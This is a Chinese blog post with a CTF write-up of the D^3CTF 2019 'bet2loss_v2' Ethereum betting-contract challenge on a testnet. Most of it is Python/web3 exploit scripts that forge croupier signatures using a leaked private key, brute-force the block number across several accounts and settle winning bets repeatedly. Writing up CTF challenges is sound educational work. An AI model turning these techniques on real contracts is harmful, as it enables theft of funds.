Fork me on GitHub
pikachu's Blog

D^3CTF 2019 bet2loss_v2


前言
利用刚过去的周末参加了 D^3CTF ,做了一道区块链的题目,在此记录一下:

  • 以太坊 Kovan 测试链
  • 合约地址动态生成,每个队伍合约地址分开(但是分发合约地址的账户是同一个账户,所以说还是可以查到其他人在链上的交易2333)
  • hash-reveal-commit 随机数
  • 出题人采用的是前后台交互的方法,所以题目没有复现,记录下解题的思想
  • 题目要求在上面图里,官方exp入口
  • 题目 exphttps://github.com/hitcxy/challenges/tree/master/2019/bet2loss_v2
  • 合约代码主要函数为 placeBetsettleBetplaceBet 建立赌博,settleBet 开奖
  • 出题人利用了 hash-reveal-commit 随机数的思想,随机数的实现放在了服务端

    • 用户首先在前台选好下注的方式
    • 之后服务端生成随机数 revealcommitcommitLastBlock 及对 commitcommitLastBlock 哈希后的签名 signaturesignature 中包含 rsv,并返回 commitcommitLastBlockrsv 信息
    • 回到前端,web3.js 配合返回的数据向 meta 发起交易,交易成功被打包之后向后台发起请求 settleBet
    • 后端收到请求后对该 commit 做开奖
  • 题目要求是 balanceOf(you) > 300000 ( 题目描述多了一个0,可以看合约里面应该是 300000

1
2
3
4
5
function PayForFlag() external returns (bool success){
balances[msg.sender] = balances[msg.sender].sub(300000);
emit GetFlag("Get flag!");
return true;
}
  • 先来看下合约里的 placeBet 代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function placeBet(uint8 betnumber, uint8 modulo, uint40 wager, uint40 commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v) external {
require (msg.sender != croupier, "croupier cannot bet with himself.");
require (isContract(msg.sender)==false, "Only bet with real people.");

AirdropCheck();

Bet storage bet = bets[commit];

require (bet.player == address(0), "Bet should be in a 'clean' state.");
require (balances[msg.sender] >= wager, "no more balances");
require (modulo > 1 && modulo <= MAX_MODULO, "modulo should be within range.");
require (betnumber >= 0 && betnumber < modulo, "betnumber should be within range.");
require (wager >= MIN_BET && wager <= MAX_BET, "wager should be within range.");

require (block.number <= commitLastBlock, "Commit has expired.");

bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
require (croupier == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid.");

lockedInBets = uint128(wager);
balances[msg.sender] = balances[msg.sender].sub(uint256(wager));

emit Commit(commit);

bet.wager = wager;
bet.betnumber = betnumber;
bet.modulo = modulo;
bet.placeBlockNumber = uint40(block.number);
bet.player = msg.sender;
}
  • 这里有一个签名验证
1
2
bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
require (croupier == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid.");
  • 根据上述合约里面的签名验证对应修改服务端后台签名验证方式,参考链接为 HCTF2018_bet2loss
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def random_num(start=2**20, end=2**30):
random = Random()
return random.randint(start,end)

def random():
result = {'address': config['address'], 'gasPrice': 12000000000}

reveal = random_num()

result['commit'] = "0x"+sha3.keccak_256(bytes.fromhex(binascii.hexlify(reveal.to_bytes(32, 'big')).decode('utf-8'))).hexdigest()

result['commitLastBlock'] = w3.eth.blockNumber + 250

message = binascii.hexlify(result['commitLastBlock'].to_bytes(5,'big')).decode('utf-8')+result['commit'][2:]
message_hash = '0x'+sha3.keccak_256(bytes.fromhex(message)).hexdigest()

signhash = w3.eth.account.signHash(message_hash, private_key=private_key)

result['signature'] = {}
result['signature']['r'] = '0x' + binascii.hexlify((signhash['r']).to_bytes(32,'big')).decode('utf-8')
result['signature']['s'] = '0x' + binascii.hexlify((signhash['s']).to_bytes(32,'big')).decode('utf-8')

result['signature']['v'] = signhash['v']

for key,value in result.items():
print('{key}:{value}'.format(key = key, value = value))
return result,reveal,w3.eth.blockNumber
  • 这样的话,我们就能够模拟服务端生成随机数了,通过下面的 placeBet 交易便能够通过签名验证,然后通过 settleBet 开奖,需要注意的是,开奖要使用 croupier 对应的私钥签名交易
  • croupier 对应私钥可以在 HCTF2018_bet2losssettings.py 中找到 private_key = b'o\x08\xd7A\x949\x90t#\x81\xe1"4FU:c\xb3\x8a:\xa8k\xee\xf1\xe9\xfc_\xcfa\xe6m\x12'
  • 不过需要注意的是,这里的 blocknumber 是在交易上链之前获取的,所以这里并不是 placeBet 最后上链的区号,这里我采用了爆破的方法,使用了五个用户账号,blocknumber分别等于 w3.eth.blocknumber + 2(3、4、5、6) 的方式进行交易,如果哪个区号对应在链上开奖中奖的话,就用对应的用户账号继续开奖即可(因为每个账户可以开奖16次,这里中一次奖是 100*1000=100000 ,所以再用第一次获取的随机数开奖3次即可大于 300000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
result,reveal,blocknumber = random()
print("reveal=",reveal)

def placeBet1():
modulo = 100
wager = 1000
blocknumber = w3.eth.blockNumber+2
print("blocknumber=",blocknumber)
tmp = binascii.hexlify(reveal.to_bytes(32,'big')).decode('utf-8')+binascii.hexlify(blocknumber.to_bytes(32,'big')).decode('utf-8')
tmp_hash = '0x'+sha3.keccak_256(bytes.fromhex(tmp)).hexdigest()
print("tmp_hash16=",int(tmp_hash, 16))

betnumber = int(tmp_hash, 16) % modulo
print("betnumber=",betnumber)

commitLastBlock = result['commitLastBlock']
commit = result['commit']
r = result['signature']['r']
s = result['signature']['s']
v = result['signature']['v']
txn = contract_instance.functions.placeBet(betnumber, modulo, wager, commitLastBlock, int(commit,16), r, s, int(v)).buildTransaction(
{
'chainId':3,
'nonce':w3.eth.getTransactionCount(Web3.toChecksumAddress(public1)),
'gas':7600000,
'value':Web3.toWei(0,'ether'),
'gasPrice':w3.eth.gasPrice,
}
)
signed_txn = w3.eth.account.signTransaction(txn,private_key=private1)
res = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(res)
print(res)
return txn_receipt

def settleBet1():
txn = contract_instance.functions.settleBet(reveal).buildTransaction(
{
'chainId':3,
'nonce':w3.eth.getTransactionCount(Web3.toChecksumAddress(public_key)),
'gas':7600000,
'value':Web3.toWei(0,'ether'),
'gasPrice':w3.eth.gasPrice,
}
)
signed_txn = w3.eth.account.signTransaction(txn,private_key=private_key)
res = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(res)
print(res)
return txn_receipt

print(settleBet1())
  • 自己做题当中是第三个用户账户成功开奖,所以用第三个账户再重复三次开奖即可,这里的 reveal 是第一次 placeBet 获取到的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def settleBet3():
reveal = 0x307e29ef
txn = contract_instance.functions.settleBet(reveal).buildTransaction(
{
'chainId':3,
'nonce':w3.eth.getTransactionCount(Web3.toChecksumAddress(public_key)),
'gas':7600000,
'value':Web3.toWei(0,'ether'),
'gasPrice':w3.eth.gasPrice,
}
)
signed_txn = w3.eth.account.signTransaction(txn,private_key=private_key)
res = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(res)
print(res)
return txn_receipt

for i in range(3):
print(settleBet3())
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2019/bet2loss-v2/
Contact:hitcxy@hotmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!